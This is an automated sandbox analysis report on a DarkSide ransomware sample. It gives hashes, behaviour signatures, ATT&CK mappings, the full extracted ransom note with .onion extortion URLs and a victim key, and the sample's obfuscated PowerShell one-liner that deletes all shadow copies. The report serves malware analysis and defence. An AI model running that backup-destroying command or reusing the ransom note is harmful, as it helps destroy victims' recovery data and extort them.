darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Analysis

max time kernel
1656s
max time network
1673s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2022 17:54

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General

Target

RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Size

17KB
MD5

f87a2e1c3d148a67eaeb696b1ab69133
SHA1

d1dfe82775c1d698dd7861d6dfa1352a74551d35
SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA512

e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
SSDEEP

384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/:l4klFypIYFpB/x9ngb

Score

10^/10

darkside ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\\README.177419ee.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral8/memory/4660-132-0x0000000000C60000-0x0000000000C70000-memory.dmp	upx
behavioral8/memory/4660-139-0x0000000000C60000-0x0000000000C70000-memory.dmp	upx
behavioral8/memory/4660-140-0x0000000000C60000-0x0000000000C70000-memory.dmp	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

DarkSide_18_11_2020_17KB.exepowershell.exe

pid	process
4660	DarkSide_18_11_2020_17KB.exe
4660	DarkSide_18_11_2020_17KB.exe
4184	powershell.exe
4184	powershell.exe
4660	DarkSide_18_11_2020_17KB.exe
4660	DarkSide_18_11_2020_17KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

DarkSide_18_11_2020_17KB.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeSecurityPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeTakeOwnershipPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeLoadDriverPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeSystemProfilePrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeSystemtimePrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeProfSingleProcessPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeIncBasePriorityPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeCreatePagefilePrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeBackupPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeRestorePrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeShutdownPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeDebugPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeSystemEnvironmentPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeRemoteShutdownPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeUndockPrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: SeManageVolumePrivilege	4660	DarkSide_18_11_2020_17KB.exe
Token: 33	4660	DarkSide_18_11_2020_17KB.exe
Token: 34	4660	DarkSide_18_11_2020_17KB.exe
Token: 35	4660	DarkSide_18_11_2020_17KB.exe
Token: 36	4660	DarkSide_18_11_2020_17KB.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeBackupPrivilege	4772	vssvc.exe
Token: SeRestorePrivilege	4772	vssvc.exe
Token: SeAuditPrivilege	4772	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

DarkSide_18_11_2020_17KB.exe

description	pid	process	target process
PID 4660 wrote to memory of 4184	4660	DarkSide_18_11_2020_17KB.exe	powershell.exe
PID 4660 wrote to memory of 4184	4660	DarkSide_18_11_2020_17KB.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4772

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
memory/4184-133-0x0000000000000000-mapping.dmp

Download
memory/4184-134-0x0000014C6BAF0000-0x0000014C6BB12000-memory.dmp

Filesize
136KB

Download
memory/4184-135-0x00007FFDB6750000-0x00007FFDB7211000-memory.dmp

Filesize
10.8MB

Download
memory/4184-136-0x00007FFDB6750000-0x00007FFDB7211000-memory.dmp

Filesize
10.8MB

Download
memory/4660-132-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4660-139-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download
memory/4660-140-0x0000000000C60000-0x0000000000C70000-memory.dmp

Filesize
64KB

Download